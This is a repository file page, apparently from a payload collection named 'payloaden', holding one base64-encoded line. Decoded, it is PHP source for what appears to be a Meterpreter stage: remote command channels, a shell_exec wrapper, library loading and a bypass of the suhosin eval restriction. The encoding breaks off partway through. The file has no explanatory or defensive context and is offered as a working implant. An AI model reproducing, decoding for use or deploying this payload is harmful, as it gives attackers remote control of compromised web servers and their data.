wSploitHub/payloaden
2025-01-26 20:50:10 +00:00

1 line
46 KiB
Plaintext

a2lyYTE0MDYvKjw/cGhwIC8qKi8gaWYgKCFpc3NldCgkR0xPQkFMU1snY2hhbm5lbHMnXSkpIHsgJEdMT0JBTFNbJ2NoYW5uZWxzJ10gPSBhcnJheSgpOyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ2NoYW5uZWxfcHJvY2Vzc19tYXAnXSkpIHsgJEdMT0JBTFNbJ2NoYW5uZWxfcHJvY2Vzc19tYXAnXSA9IGFycmF5KCk7IH0gaWYgKCFpc3NldCgkR0xPQkFMU1sncmVzb3VyY2VfdHlwZV9tYXAnXSkpIHsgJEdMT0JBTFNbJ3Jlc291cmNlX3R5cGVfbWFwJ10gPSBhcnJheSgpOyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ3VkcF9ob3N0X21hcCddKSkgeyAkR0xPQkFMU1sndWRwX2hvc3RfbWFwJ10gPSBhcnJheSgpOyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ3JlYWRlcnMnXSkpIHsgJEdMT0JBTFNbJ3JlYWRlcnMnXSA9IGFycmF5KCk7IH0gaWYgKCFpc3NldCgkR0xPQkFMU1snaWQyZiddKSkgeyAkR0xPQkFMU1snaWQyZiddID0gYXJyYXkoKTsgfSBmdW5jdGlvbiByZWdpc3Rlcl9jb21tYW5kKCRjLCAkaSkgeyBnbG9iYWwgJGlkMmY7IGlmICghIGluX2FycmF5KCRpLCAkaWQyZikpIHsgJGlkMmZbJGldID0gJGM7IH0gfSBkZWZpbmUoIk1ZX0RFQlVHR0lORyIsIGZhbHNlKTsgZGVmaW5lKCJNWV9ERUJVR0dJTkdfTE9HX0ZJTEVfUEFUSCIsIGZhbHNlKTsgZnVuY3Rpb24gbXlfbG9nZmlsZSgkc3RyKSB7IGlmIChNWV9ERUJVR0dJTkcgJiYgTVlfREVCVUdHSU5HX0xPR19GSUxFX1BBVEgpIHsgaWYgKCFpc3NldCgkR0xPQkFMU1snbG9nZmlsZSddKSkgeyAkR0xPQkFMU1snbG9nZmlsZSddID0gZm9wZW4oTVlfREVCVUdHSU5HX0xPR19GSUxFX1BBVEgsICdhJyk7IGlmICghJEdMT0JBTFNbJ2xvZ2ZpbGUnXSkgeyBteV9wcmludCgiRmFpbGVkIHRvIG9wZW4gZGVidWcgbG9nIGZpbGUiKTsgfSB9IGlmICgkR0xPQkFMU1snbG9nZmlsZSddKSB7IGZ3cml0ZSgkR0xPQkFMU1snbG9nZmlsZSddLCAiJHN0clxuIik7IH0gfSB9IGZ1bmN0aW9uIG15X3ByaW50KCRzdHIpIHsgaWYgKE1ZX0RFQlVHR0lORykgeyBlcnJvcl9sb2coJHN0cik7IG15X2xvZ2ZpbGUoJHN0cik7IH0gfSBteV9wcmludCgiRXZhbGluZyBtYWluIG1ldGVycHJldGVyIHN0YWdlIik7IGZ1bmN0aW9uIGR1bXBfYXJyYXkoJGFyciwgJG5hbWU9bnVsbCkgeyBpZiAoaXNfbnVsbCgkbmFtZSkpIHsgJG5hbWUgPSAiQXJyYXkiOyB9IG15X3ByaW50KHNwcmludGYoIiRuYW1lICglcykiLCBjb3VudCgkYXJyKSkpOyBmb3JlYWNoICgkYXJyIGFzICRrZXkgPT4gJHZhbCkgeyBpZiAoaXNfYXJyYXkoJHZhbCkpIHsgZHVtcF9hcnJheSgkdmFsLCAieyRuYW1lfVt7JGtleX1dIik7IH0gZWxzZSB7IG15X3ByaW50KHNwcmludGYoIiAka2V5ICgkdmFsKSIpKTsgfSB9IH0gZnVuY3Rpb24gZHVtcF9yZWFkZXJzKCkgeyBnbG9iYWwgJHJlYWRlcnM7IGR1bXBfYXJyYXkoJHJlYWRlcnMsICdSZWFkZXJzJyk7IH0gZnVuY3Rpb24gZHVtcF9yZXNvdXJjZV9tYXAoKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXA7IGR1bXBfYXJyYXkoJHJlc291cmNlX3R5cGVfbWFwLCAnUmVzb3VyY2UgbWFwJyk7IH0gZnVuY3Rpb24gZHVtcF9jaGFubmVscygkZXh0cmE9IiIpIHsgZ2xvYmFsICRjaGFubmVsczsgZHVtcF9hcnJheSgkY2hhbm5lbHMsICdDaGFubmVscyAnLiRleHRyYSk7IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpIHsgZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpIHsgJGYgPSBAZm9wZW4oJGZpbGUsInJiIik7ICRjb250ZW50cyA9IGZhbHNlOyBpZiAoJGYpIHsgZG8geyAkY29udGVudHMgLj0gZmdldHMoJGYpOyB9IHdoaWxlICghZmVvZigkZikpOyB9IGZjbG9zZSgkZik7IHJldHVybiAkY29udGVudHM7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnc29ja2V0X3NldF9vcHRpb24nKSkgeyBmdW5jdGlvbiBzb2NrZXRfc2V0X29wdGlvbigkc29jaywgJHR5cGUsICRvcHQsICR2YWx1ZSkgeyBzb2NrZXRfc2V0b3B0KCRzb2NrLCAkdHlwZSwgJG9wdCwgJHZhbHVlKTsgfSB9IGRlZmluZSgiUEFZTE9BRF9VVUlEIiwgIlx4ZWZceGY4XHhkM1x4ZmZceDgyXHg2OVx4MWRceDRkXHgzNVx4ZGNceDI2XHhkM1x4NTJceDRhXHgzMVx4YTIiKTsgZGVmaW5lKCJTRVNTSU9OX0dVSUQiLCAiXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCIpOyBkZWZpbmUoIkFFU18yNTZfQ0JDIiwgJ2Flcy0yNTYtY2JjJyk7IGRlZmluZSgiRU5DX05PTkUiLCAwKTsgZGVmaW5lKCJFTkNfQUVTMjU2IiwgMSk7IGRlZmluZSgiUEFDS0VUX1RZUEVfUkVRVUVTVCIsIDApOyBkZWZpbmUoIlBBQ0tFVF9UWVBFX1JFU1BPTlNFIiwgMSk7IGRlZmluZSgiUEFDS0VUX1RZUEVfUExBSU5fUkVRVUVTVCIsIDEwKTsgZGVmaW5lKCJQQUNLRVRfVFlQRV9QTEFJTl9SRVNQT05TRSIsIDExKTsgZGVmaW5lKCJFUlJPUl9TVUNDRVNTIiwgMCk7IGRlZmluZSgiRVJST1JfRkFJTFVSRSIsIDEpOyBkZWZpbmUoIkNIQU5ORUxfQ0xBU1NfQlVGRkVSRUQiLCAwKTsgZGVmaW5lKCJDSEFOTkVMX0NMQVNTX1NUUkVBTSIsIDEpOyBkZWZpbmUoIkNIQU5ORUxfQ0xBU1NfREFUQUdSQU0iLCAyKTsgZGVmaW5lKCJDSEFOTkVMX0NMQVNTX1BPT0wiLCAzKTsgZGVmaW5lKCJXSU5fQUZfSU5FVCIsIDIpOyBkZWZpbmUoIldJTl9BRl9JTkVUNiIsIDIzKTsgZGVmaW5lKCJUTFZfTUVUQV9UWVBFX05PTkUiLCAoIDAgKSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9TVFJJTkciLCAoMSA8PCAxNikpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfVUlOVCIsICgxIDw8IDE3KSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9SQVciLCAoMSA8PCAxOCkpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfQk9PTCIsICgxIDw8IDE5KSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9RV09SRCIsICgxIDw8IDIwKSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9DT01QUkVTU0VEIiwgKDEgPDwgMjkpKTsgZGVmaW5lKCJUTFZfTUVUQV9UWVBFX0dST1VQIiwgKDEgPDwgMzApKTsgZGVmaW5lKCJUTFZfTUVUQV9UWVBFX0NPTVBMRVgiLCAoMSA8PCAzMSkpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfTUFTSyIsICgxPDwzMSkrKDE8PDMwKSsoMTw8MjkpKygxPDwxOSkrKDE8PDE4KSsoMTw8MTcpKygxPDwxNikpOyBkZWZpbmUoIlRMVl9SRVNFUlZFRCIsIDApOyBkZWZpbmUoIlRMVl9FWFRFTlNJT05TIiwgMjAwMDApOyBkZWZpbmUoIlRMVl9VU0VSIiwgNDAwMDApOyBkZWZpbmUoIlRMVl9URU1QIiwgNjAwMDApOyBkZWZpbmUoIlRMVl9UWVBFX0FOWSIsIFRMVl9NRVRBX1RZUEVfTk9ORSB8IDApOyBkZWZpbmUoIlRMVl9UWVBFX0NPTU1BTkRfSUQiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAxKTsgZGVmaW5lKCJUTFZfVFlQRV9SRVFVRVNUX0lEIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCAyKTsgZGVmaW5lKCJUTFZfVFlQRV9FWENFUFRJT04iLCBUTFZfTUVUQV9UWVBFX0dST1VQIHwgMyk7IGRlZmluZSgiVExWX1RZUEVfUkVTVUxUIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNCk7IGRlZmluZSgiVExWX1RZUEVfU1RSSU5HIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCAxMCk7IGRlZmluZSgiVExWX1RZUEVfVUlOVCIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8IDExKTsgZGVmaW5lKCJUTFZfVFlQRV9CT09MIiwgVExWX01FVEFfVFlQRV9CT09MIHwgMTIpOyBkZWZpbmUoIlRMVl9UWVBFX0xFTkdUSCIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8IDI1KTsgZGVmaW5lKCJUTFZfVFlQRV9EQVRBIiwgVExWX01FVEFfVFlQRV9SQVcgfCAyNik7IGRlZmluZSgiVExWX1RZUEVfRkxBR1MiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAyNyk7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9JRCIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8IDUwKTsgZGVmaW5lKCJUTFZfVFlQRV9DSEFOTkVMX1RZUEUiLCBUTFZfTUVUQV9UWVBFX1NUUklORyB8IDUxKTsgZGVmaW5lKCJUTFZfVFlQRV9DSEFOTkVMX0RBVEEiLCBUTFZfTUVUQV9UWVBFX1JBVyB8IDUyKTsgZGVmaW5lKCJUTFZfVFlQRV9DSEFOTkVMX0RBVEFfR1JPVVAiLCBUTFZfTUVUQV9UWVBFX0dST1VQIHwgNTMpOyBkZWZpbmUoIlRMVl9UWVBFX0NIQU5ORUxfQ0xBU1MiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCA1NCk7IGRlZmluZSgiVExWX1RZUEVfU0VFS19XSEVOQ0UiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCA3MCk7IGRlZmluZSgiVExWX1RZUEVfU0VFS19PRkZTRVQiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCA3MSk7IGRlZmluZSgiVExWX1RZUEVfU0VFS19QT1MiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCA3Mik7IGRlZmluZSgiVExWX1RZUEVfRVhDRVBUSU9OX0NPREUiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAzMDApOyBkZWZpbmUoIlRMVl9UWVBFX0VYQ0VQVElPTl9TVFJJTkciLCBUTFZfTUVUQV9UWVBFX1NUUklORyB8IDMwMSk7IGRlZmluZSgiVExWX1RZUEVfTElCUkFSWV9QQVRIIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCA0MDApOyBkZWZpbmUoIlRMVl9UWVBFX1RBUkdFVF9QQVRIIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCA0MDEpOyBkZWZpbmUoIlRMVl9UWVBFX01BQ0hJTkVfSUQiLCBUTFZfTUVUQV9UWVBFX1NUUklORyB8IDQ2MCk7IGRlZmluZSgiVExWX1RZUEVfVVVJRCIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgNDYxKTsgZGVmaW5lKCJUTFZfVFlQRV9TRVNTSU9OX0dVSUQiLCBUTFZfTUVUQV9UWVBFX1JBVyB8IDQ2Mik7IGRlZmluZSgiVExWX1RZUEVfUlNBX1BVQl9LRVkiLCBUTFZfTUVUQV9UWVBFX1JBVyB8IDU1MCk7IGRlZmluZSgiVExWX1RZUEVfU1lNX0tFWV9UWVBFIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNTUxKTsgZGVmaW5lKCJUTFZfVFlQRV9TWU1fS0VZIiwgVExWX01FVEFfVFlQRV9SQVcgfCA1NTIpOyBkZWZpbmUoIlRMVl9UWVBFX0VOQ19TWU1fS0VZIiwgVExWX01FVEFfVFlQRV9SQVcgfCA1NTMpOyBkZWZpbmUoJ0VYVEVOU0lPTl9JRF9DT1JFJywgMCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfQ0xPU0UnLCAxKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9FT0YnLCAyKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9JTlRFUkFDVCcsIDMpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX09QRU4nLCA0KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9SRUFEJywgNSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfU0VFSycsIDYpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX1RFTEwnLCA3KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9XUklURScsIDgpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DT05TT0xFX1dSSVRFJywgOSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0VOVU1FWFRDTUQnLCAxMCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0dFVF9TRVNTSU9OX0dVSUQnLCAxMSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0xPQURMSUInLCAxMik7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX01BQ0hJTkVfSUQnLCAxMyk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX01JR1JBVEUnLCAxNCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX05BVElWRV9BUkNIJywgMTUpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9ORUdPVElBVEVfVExWX0VOQ1JZUFRJT04nLCAxNik7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1BBVENIX1VSTCcsIDE3KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfUElWT1RfQUREJywgMTgpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9QSVZPVF9SRU1PVkUnLCAxOSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1BJVk9UX1NFU1NJT05fRElFRCcsIDIwKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfU0VUX1NFU1NJT05fR1VJRCcsIDIxKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfU0VUX1VVSUQnLCAyMik7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1NIVVRET1dOJywgMjMpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfQUREJywgMjQpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfQ0hBTkdFJywgMjUpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfR0VUQ0VSVEhBU0gnLCAyNik7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1RSQU5TUE9SVF9MSVNUJywgMjcpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfTkVYVCcsIDI4KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX1BSRVYnLCAyOSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1RSQU5TUE9SVF9SRU1PVkUnLCAzMCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1RSQU5TUE9SVF9TRVRDRVJUSEFTSCcsIDMxKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX1NFVF9USU1FT1VUUycsIDMyKTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX1NMRUVQJywgMzMpOyBmdW5jdGlvbiBteV9jbWQoJGNtZCkgeyByZXR1cm4gc2hlbGxfZXhlYygkY21kKTsgfSBmdW5jdGlvbiBpc193aW5kb3dzKCkgeyByZXR1cm4gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAiV0lOIik7IH0gZnVuY3Rpb24gaXNfbGludXgoKSB7IHJldHVybiAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJMSU4iKTsgfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9jaGFubmVsX29wZW4nKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2NoYW5uZWxfb3BlbicsIENPTU1BTkRfSURfQ09SRV9DSEFOTkVMX09QRU4pOyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfb3BlbigkcmVxLCAmJHBrdCkgeyAkdHlwZV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX1RZUEUpOyBteV9wcmludCgiQ2xpZW50IHdhbnRzIGEgIi4gJHR5cGVfdGx2Wyd2YWx1ZSddIC4iIGNoYW5uZWwsIGknbGwgc2VlIHdoYXQgaSBjYW4gZG8iKTsgJGhhbmRsZXIgPSAiY2hhbm5lbF9jcmVhdGVfIi4gJHR5cGVfdGx2Wyd2YWx1ZSddOyBpZiAoJHR5cGVfdGx2Wyd2YWx1ZSddICYmIGlzX2NhbGxhYmxlKCRoYW5kbGVyKSkgeyBteV9wcmludCgiQ2FsbGluZyB7JGhhbmRsZXJ9Iik7ICRyZXQgPSAkaGFuZGxlcigkcmVxLCAkcGt0KTsgfSBlbHNlIHsgbXlfcHJpbnQoIkkgZG9uJ3Qga25vdyBob3cgdG8gbWFrZSBhICIuICR0eXBlX3RsdlsndmFsdWUnXSAuIiBjaGFubmVsLiA9KCIpOyAkcmV0ID0gRVJST1JfRkFJTFVSRTsgfSByZXR1cm4gJHJldDsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2NoYW5uZWxfZW9mJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9jaGFubmVsX2VvZicsIENPTU1BTkRfSURfQ09SRV9DSEFOTkVMX0VPRik7IGZ1bmN0aW9uIGNvcmVfY2hhbm5lbF9lb2YoJHJlcSwgJiRwa3QpIHsgbXlfcHJpbnQoImRvaW5nIGNoYW5uZWwgZW9mIik7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxfSUQpOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRjaGFuX3RsdlsndmFsdWUnXSk7IGlmICgkYykgeyBpZiAoZW9mKCRjWzFdKSkgeyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0JPT0wsIDEpKTsgfSBlbHNlIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9CT09MLCAwKSk7IH0gcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gZWxzZSB7IHJldHVybiBFUlJPUl9GQUlMVVJFOyB9IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9jaGFubmVsX3JlYWQnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2NoYW5uZWxfcmVhZCcsIENPTU1BTkRfSURfQ09SRV9DSEFOTkVMX1JFQUQpOyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfcmVhZCgkcmVxLCAmJHBrdCkgeyBteV9wcmludCgiZG9pbmcgY2hhbm5lbCByZWFkIik7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxfSUQpOyAkbGVuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0xFTkdUSCk7ICRpZCA9ICRjaGFuX3RsdlsndmFsdWUnXTsgJGxlbiA9ICRsZW5fdGx2Wyd2YWx1ZSddOyAkZGF0YSA9IGNoYW5uZWxfcmVhZCgkaWQsICRsZW4pOyBpZiAoJGRhdGEgPT09IGZhbHNlKSB7ICRyZXMgPSBFUlJPUl9GQUlMVVJFOyB9IGVsc2UgeyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0NIQU5ORUxfREFUQSwgJGRhdGEpKTsgJHJlcyA9IEVSUk9SX1NVQ0NFU1M7IH0gcmV0dXJuICRyZXM7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9jaGFubmVsX3dyaXRlJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9jaGFubmVsX3dyaXRlJywgQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfV1JJVEUpOyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfd3JpdGUoJHJlcSwgJiRwa3QpIHsgJGNoYW5fdGx2ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfQ0hBTk5FTF9JRCk7ICRkYXRhX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxfREFUQSk7ICRsZW5fdGx2ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfTEVOR1RIKTsgJGlkID0gJGNoYW5fdGx2Wyd2YWx1ZSddOyAkZGF0YSA9ICRkYXRhX3RsdlsndmFsdWUnXTsgJGxlbiA9ICRsZW5fdGx2Wyd2YWx1ZSddOyAkd3JvdGUgPSBjaGFubmVsX3dyaXRlKCRpZCwgJGRhdGEsICRsZW4pOyBpZiAoJHdyb3RlID09PSBmYWxzZSkgeyByZXR1cm4gRVJST1JfRkFJTFVSRTsgfSBlbHNlIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9MRU5HVEgsICR3cm90ZSkpOyByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF9jbG9zZScpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfY2hhbm5lbF9jbG9zZScsIENPTU1BTkRfSURfQ09SRV9DSEFOTkVMX0NMT1NFKTsgZnVuY3Rpb24gY29yZV9jaGFubmVsX2Nsb3NlKCRyZXEsICYkcGt0KSB7IGdsb2JhbCAkY2hhbm5lbF9wcm9jZXNzX21hcDsgbXlfcHJpbnQoImRvaW5nIGNoYW5uZWwgY2xvc2UiKTsgJGNoYW5fdGx2ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfQ0hBTk5FTF9JRCk7ICRpZCA9ICRjaGFuX3RsdlsndmFsdWUnXTsgJGMgPSBnZXRfY2hhbm5lbF9ieV9pZCgkaWQpOyBpZiAoJGMpIHsgY2hhbm5lbF9jbG9zZV9oYW5kbGVzKCRpZCk7IGNoYW5uZWxfcmVtb3ZlKCRpZCk7IGlmIChhcnJheV9rZXlfZXhpc3RzKCRpZCwgJGNoYW5uZWxfcHJvY2Vzc19tYXApIGFuZCBpc19jYWxsYWJsZSgnY2xvc2VfcHJvY2VzcycpKSB7IGNsb3NlX3Byb2Nlc3MoJGNoYW5uZWxfcHJvY2Vzc19tYXBbJGlkXSk7IH0gcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gZHVtcF9jaGFubmVscygiYWZ0ZXIgY2xvc2UiKTsgcmV0dXJuIEVSUk9SX0ZBSUxVUkU7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY2hhbm5lbF9jbG9zZV9oYW5kbGVzJykpIHsgZnVuY3Rpb24gY2hhbm5lbF9jbG9zZV9oYW5kbGVzKCRjaWQpIHsgZ2xvYmFsICRjaGFubmVsczsgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRjaWQsICRjaGFubmVscykpIHsgcmV0dXJuOyB9ICRjID0gJGNoYW5uZWxzWyRjaWRdOyBmb3IoJGkgPSAwOyAkaSA8IDM7ICRpKyspIHsgaWYgKGFycmF5X2tleV9leGlzdHMoJGksICRjKSAmJiBpc19yZXNvdXJjZSgkY1skaV0pKSB7IGNsb3NlKCRjWyRpXSk7IHJlbW92ZV9yZWFkZXIoJGNbJGldKTsgfSB9IGlmIChzdHJsZW4oJGNbJ2RhdGEnXSkgPT0gMCkgeyBjaGFubmVsX3JlbW92ZSgkY2lkKTsgfSB9IH0gZnVuY3Rpb24gY2hhbm5lbF9yZW1vdmUoJGNpZCkgeyBnbG9iYWwgJGNoYW5uZWxzOyB1bnNldCgkY2hhbm5lbHNbJGNpZF0pOyB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2NoYW5uZWxfaW50ZXJhY3QnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2NoYW5uZWxfaW50ZXJhY3QnLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9JTlRFUkFDVCk7IGZ1bmN0aW9uIGNvcmVfY2hhbm5lbF9pbnRlcmFjdCgkcmVxLCAmJHBrdCkgeyBnbG9iYWwgJHJlYWRlcnM7IG15X3ByaW50KCJkb2luZyBjaGFubmVsIGludGVyYWN0Iik7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxfSUQpOyAkaWQgPSAkY2hhbl90bHZbJ3ZhbHVlJ107ICR0b2dnbGVfdGx2ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfQk9PTCk7ICRjID0gZ2V0X2NoYW5uZWxfYnlfaWQoJGlkKTsgaWYgKCRjKSB7IGlmICgkdG9nZ2xlX3RsdlsndmFsdWUnXSkgeyBpZiAoIWluX2FycmF5KCRjWzFdLCAkcmVhZGVycykpIHsgYWRkX3JlYWRlcigkY1sxXSk7IGlmIChhcnJheV9rZXlfZXhpc3RzKDIsICRjKSAmJiAkY1sxXSAhPSAkY1syXSkgeyBhZGRfcmVhZGVyKCRjWzJdKTsgfSAkcmV0ID0gRVJST1JfU1VDQ0VTUzsgfSBlbHNlIHsgJHJldCA9IEVSUk9SX0ZBSUxVUkU7IH0gfSBlbHNlIHsgaWYgKGluX2FycmF5KCRjWzFdLCAkcmVhZGVycykpIHsgcmVtb3ZlX3JlYWRlcigkY1sxXSk7IHJlbW92ZV9yZWFkZXIoJGNbMl0pOyAkcmV0ID0gRVJST1JfU1VDQ0VTUzsgfSBlbHNlIHsgJHJldCA9IEVSUk9SX1NVQ0NFU1M7IH0gfSB9IGVsc2UgeyBteV9wcmludCgiVHJ5aW5nIHRvIGludGVyYWN0IHdpdGggYW4gaW52YWxpZCBjaGFubmVsIik7ICRyZXQgPSBFUlJPUl9GQUlMVVJFOyB9IHJldHVybiAkcmV0OyB9IH0gZnVuY3Rpb24gaW50ZXJhY3RpbmcoJGNpZCkgeyBnbG9iYWwgJHJlYWRlcnM7ICRjID0gZ2V0X2NoYW5uZWxfYnlfaWQoJGNpZCk7IGlmIChpbl9hcnJheSgkY1sxXSwgJHJlYWRlcnMpKSB7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9zaHV0ZG93bicpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfc2h1dGRvd24nLCBDT01NQU5EX0lEX0NPUkVfU0hVVERPV04pOyBmdW5jdGlvbiBjb3JlX3NodXRkb3duKCRyZXEsICYkcGt0KSB7IG15X3ByaW50KCJkb2luZyBjb3JlIHNodXRkb3duIik7IGRpZSgpOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfbG9hZGxpYicpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfbG9hZGxpYicsIENPTU1BTkRfSURfQ09SRV9MT0FETElCKTsgZnVuY3Rpb24gY29yZV9sb2FkbGliKCRyZXEsICYkcGt0KSB7IGdsb2JhbCAkaWQyZjsgbXlfcHJpbnQoImRvaW5nIGNvcmVfbG9hZGxpYiIpOyAkZGF0YV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9EQVRBKTsgaWYgKCgkZGF0YV90bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfQ09NUFJFU1NFRCkgPT0gVExWX01FVEFfVFlQRV9DT01QUkVTU0VEKSB7IHJldHVybiBFUlJPUl9GQUlMVVJFOyB9ICR0bXAgPSAkaWQyZjsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRkYXRhX3RsdlsndmFsdWUnXSk7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2U